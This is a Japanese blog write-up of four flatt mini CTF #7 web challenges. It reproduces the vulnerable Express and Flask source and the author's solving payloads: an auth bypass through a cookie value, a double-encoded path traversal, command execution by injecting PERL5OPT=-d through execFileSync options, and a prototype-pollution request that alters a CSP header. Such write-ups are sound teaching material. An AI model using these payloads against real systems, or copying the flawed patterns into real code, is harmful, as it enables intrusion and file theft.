flatt mini CTF #7 writeup

stさん作問のCTFにでました。

トイレから帰ってきたらstさんの解説が終わっていて残念

login-as-admin

JavaScript
const express = require('express');
const cookieParser = require('cookie-parser');

const FLAG = process.env.FLAG || 'flag{DUMMY}';
const PORT = process.env.PORT || 3000;

const app = express();
app.use(cookieParser());

const users = {
    // guest user. This user has no admin permissions.
    guest: {
        isAdmin: false
    },

    // admin user. This user has admin permissions.
    // However, the ID is randomly generated, so it is not known in advance.
    [crypto.randomUUID()]: {
        isAdmin: true,
    }
};

app.get('/', (req, res) => {
    const username = req.cookies.username || 'stranger';
    return res.send(`
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login Form</title>
</head>
<body>
    <h1>Login Form</h1>
    <p>Hello, ${username}!</p>
    <p><a href="/login-as-guest">Click here to login as <code>guest</code></a>.</p>
    <p>If you are sure you are admin, then access <a href="/admin"><code>/admin</code></a> to get the flag.</p>
</body>
</html>
`.trim());
});

app.get('/login-as-guest', (req, res) => {
    res.cookie('username', 'guest');
    return res.redirect('/');
});

app.get('/admin', (req, res) => {
    const username = req.cookies.username;
    if (username === 'admin') {
        return res.send('What are you trying to do?');
    }

    const user = users[username];
    try {
        if (!username || !user.isAdmin) {
            return res.send(`You don't have enough permissions to access this page.`);
        }
    } catch {
        console.error('something wrong');
    }
    return res.send(`Hello, admin! The flag is: ${FLAG}`);
});

app.listen(PORT, () => { console.log('running'); });

早解きなのでconst username = req.cookies.username;if (username === 'admin') {をみた瞬間にcookieにadminを入れましたが煽られてしまいました。

よくみると、

    try {
        if (!username || !user.isAdmin) {
            return res.send(`You don't have enough permissions to access this page.`);
        }
    } catch {
        console.error('something wrong');
    }
    return res.send(`Hello, admin! The flag is: ${FLAG}`);

となっていました。なのでusernameを-1(undefined)にしたらOKです。

file yomitaro

JavaScript
const fs = require('fs');
const express = require('express');

const PORT = process.env.PORT || 3000;

const app = express();
app.use(express.urlencoded({ extended: false }));

const indexHtml = fs.readFileSync('./index.html', 'utf8');
app.get('/', (req, res) => {
    return res.send(indexHtml);
});

app.get('/static/:file', (req, res) => {
    let file = req.params.file;
    for (const forbidden of ['dev', 'proc']) {
        if (file.includes(forbidden)) {
            return res.status(400).send({
                error: `Access to ${forbidden} directory is not allowed`,
                requestedFile: file
            });
        }
    }

    file = file.replace('..', ''); // Prevent directory traversal
    if (file.endsWith('.js')) {
        res.setHeader('Content-Type', 'application/javascript');
    } else if (file.endsWith('.css')) {
        res.setHeader('Content-Type', 'text/css');
    }

    if (fs.existsSync(`./static/${file}`)) {
        return res.send(fs.readFileSync(`./static/${file}`, 'utf8'));
    }
    return res.status(404).send({
        error: 'File not found',
        requestedFile: file
    });
});

app.listen(PORT, () => {
    console.log('Server is running');
});

file = file.replace('..', ''); // Prevent directory traversalです。

昔stさんの記事でにたようなテクニックをみたような気がして(多分これhttps://nanimokangaeteinai.hateblo.jp/entry/2024/09/01/180138)すぐやるべきことはわかりました。

なので、static/….%2fflagを実行しましたが{“error”:”File not found”,”requestedFile”:”../flag”}と言われてしまい、ぬまり、別の問題に行きました。

のちのち自分でdockerを立てて

if (file == "help") {
    return res.send(fs.readFileSync(`./static/../../flag`, 'utf8'));
}

の行を追加したりしてやっとパスが違うことに気づきました。Dockerfileにちゃんと書いてありました。

/static/….%2f..%2fflag

shaberu ushi

JavaScript
// index.html抜粋
const response = await fetch('/say', {
  method: 'POST',
  headers: {
     'Content-Type': 'application/x-www-form-urlencoded',
  },
  body: new URLSearchParams({
    'params[input]': message
  })
});


// index.js

const fs = require('fs');
const cp = require('child_process');
const express = require('express');

const PORT = process.env.PORT || 3000;

const app = express();
app.use(express.urlencoded({ extended: true }));

const indexHtml = fs.readFileSync('./index.html', 'utf8');
app.get('/', (req, res) => {
    return res.send(indexHtml);
});

app.post('/say', (req, res) => {
    const params = req.body.params || {};
    if (typeof params.input !== 'string' || params.input.length > 100) {
        return res.status(400).json({ error: 'Message too long' });
    }

    try {
        const result = cp.execFileSync('/usr/games/cowsay', [], {
            ...params,
            encoding: 'utf8',
            timeout: 3000,

            // just to be sure we don't execute arbitrary commands
            cwd: '/app',
            shell: '/bin/sh'
        });

        return res.json({
            message: result.trim()
        });
    } catch (error) {
        return res.status(500).json({ error: 'Failed to generate cowsay' });
    }
});

app.listen(PORT, () => {
    console.log('Server is running');
});

flattさんのサマーインターンのプログラムで似たようなのがでたので…params,こいつがまずそうだなと感じました。

execFileSyncを見るとどうやら第三引数は環境変数とかも入れれるようです(https://nodejs.org/api/child_process.html#child_processexecfilesyncfile-args-options

cowsayで環境変数いれれたら何がまずいかなと考えます。

チャッピーに聞くとどうやらこのcowsayはPerlで動いているということがわかります。

PERL5OPT=-dとは何かと聞くとどうやらデバックモードなるものらしくperlを実行できるそうです。

そうなったらあとはやるだけです

params[env][PERL5OPT]=-d&params[input]=print+qx(/readflag-*);

これを送信するとフラグが帰ってきます。

helmet-anuki

問題のゴール:

  • Content-Security-Policy の値に give me flag! を含ませる
Python
# runner/app.py
import datetime
import json
import logging
import os
import threading
import time

import docker
from flask import Flask, request

IMAGE_NAME = 'tanuki-sandbox'
FLAG = os.environ.get('FLAG', 'flag{DUMMY}')

client = docker.from_env()
logger = logging.getLogger(__name__)
logging.basicConfig(level=logging.INFO)

def run(json):
    result = client.containers.run(IMAGE_NAME, [json], environment={
        'FLAG': FLAG
    }, remove=True, init=True)
    return result.decode('utf-8')

def clean():
    now = datetime.datetime.now(datetime.timezone.utc)
    logger.info(f'clean() started: {now}')

    containers = client.containers.list(all=True, filters={
        'ancestor': IMAGE_NAME
    })

    for container in containers:
        started_str = container.attrs['State']['StartedAt']
        started = datetime.datetime.fromisoformat(started_str.replace('Z', '+00:00'))

        elapsed = (now - started).total_seconds()
        if elapsed > 60:
            try:
                logger.info(f"Removing container {container.id[:12]} started at {started_str}")
                container.remove(force=True)
            except Exception as e:
                logger.info(f"Failed to remove container {container.id[:12]}: {e}")

    now = datetime.datetime.now(datetime.timezone.utc)
    logger.info(f'clean() finished: {now}')

def cleanup_worker():
    while True:
        try:
            clean()
        except Exception as e:
            logger.info(f'error occurred in clean(): {e}')
        time.sleep(60)

app = Flask(__name__)

with open('index.html', 'r') as f:
    index_html = f.read()
@app.get('/')
def index():
    return index_html

@app.post('/run')
def go():
    user_input = request.form.get('input', '')
    try:
        json.loads(user_input)
    except:
        return 'Please input valid JSON'

    logger.info(f'payload: {user_input}')
    try:
        result = run(user_input)
        logger.info(f'result: {result}')
    except Exception as e:
        logger.info(f'error occurred in run(): {e}')
        return 'error occurred'
    return result

if __name__ == '__main__':
    cleanup_thread = threading.Thread(target=cleanup_worker, daemon=True)
    cleanup_thread.start()
    app.run(host='0.0.0.0')
JavaScript
//sandbox/index.js
const express = require('express');
const helmet = require('helmet');

const FLAG = process.env.FLAG || 'flag{DUMMY}';
const IMPORTANT_HEADER_KEY = 'content-security-policy';

if (process.argv.length < 3) {
    console.error('no arg provided');
    process.exit(1);
}

// pollute Object.prototype with user-provided object
const payload = process.argv[2]; // you can control this string
for (const [k, v] of Object.entries(JSON.parse(payload))) {
    Object.prototype[k] = v;
}

/////////////////////////////////////////////////////////////////////////////

// okay, let's deploy the server
const app = express();
app.use(helmet()); // this will strengthen this app!
app.get('/', (req, res) => {
    res.send('ok');
});

app.listen(3000, () => {
    // send request to the server itself to check if the header is polluted
    fetch('http://localhost:3000').then(r => {
        if (!r.headers.has(IMPORTANT_HEADER_KEY)) {
            console.log(`nope: ${IMPORTANT_HEADER_KEY} not found`);
            process.exit(0);
        }

        // if you control the Content-Security-Policy header, I will give you the flag
        const headerValue = r.headers.get(IMPORTANT_HEADER_KEY);
        const isHeaderPolluted = headerValue.includes('give me flag!');
        console.log(isHeaderPolluted ? `Congratulations! The flag is: ${FLAG}` : 'nope: header not polluted');
        process.exit(0);
    });
});

問題文よりprototype pollutionの問題のようです。

for (const [k, v] of Object.entries(JSON.parse(payload))) {
Object.prototype[k] = v;
}

自明。

isHeaderPollutedがtrueならflagが表示される。これはheaderValueに’give me flag!という文字列が含まれていたらtrueになる。headerValueはIMPORTANT_HEADER_KEY,これはcontent-security-policy

問題文にもある通りhelmetという見たことのないライブラリが重要そう。

チャッピーにhelmetのCSPの扱いとかを聞いてみる。

helmet.contentSecurityPolicy。こんな感じになっているらしい。

app.use(helmet());しているからobject.contentSecurityPolicyを汚染するとconst headerValue = r.headers.get(IMPORTANT_HEADER_KEY);も汚染される?

curl -s -X POST ‘http://34.85.39.41/run’ -d ‘input={“contentSecurityPolicy”:{“directives”:{“report-uri”:”give me flag!”}}}’

TODO:あとでちゃんとみる

なのでこのようなリクエストをおくるとフラグが帰ってくる。

普段関西住みなのでmini CTFに参加できていませんでしたが初参加楽しかったです。

ありがとうございました!

コメントする

メールアドレスが公開されることはありません。 が付いている欄は必須項目です

上部へスクロール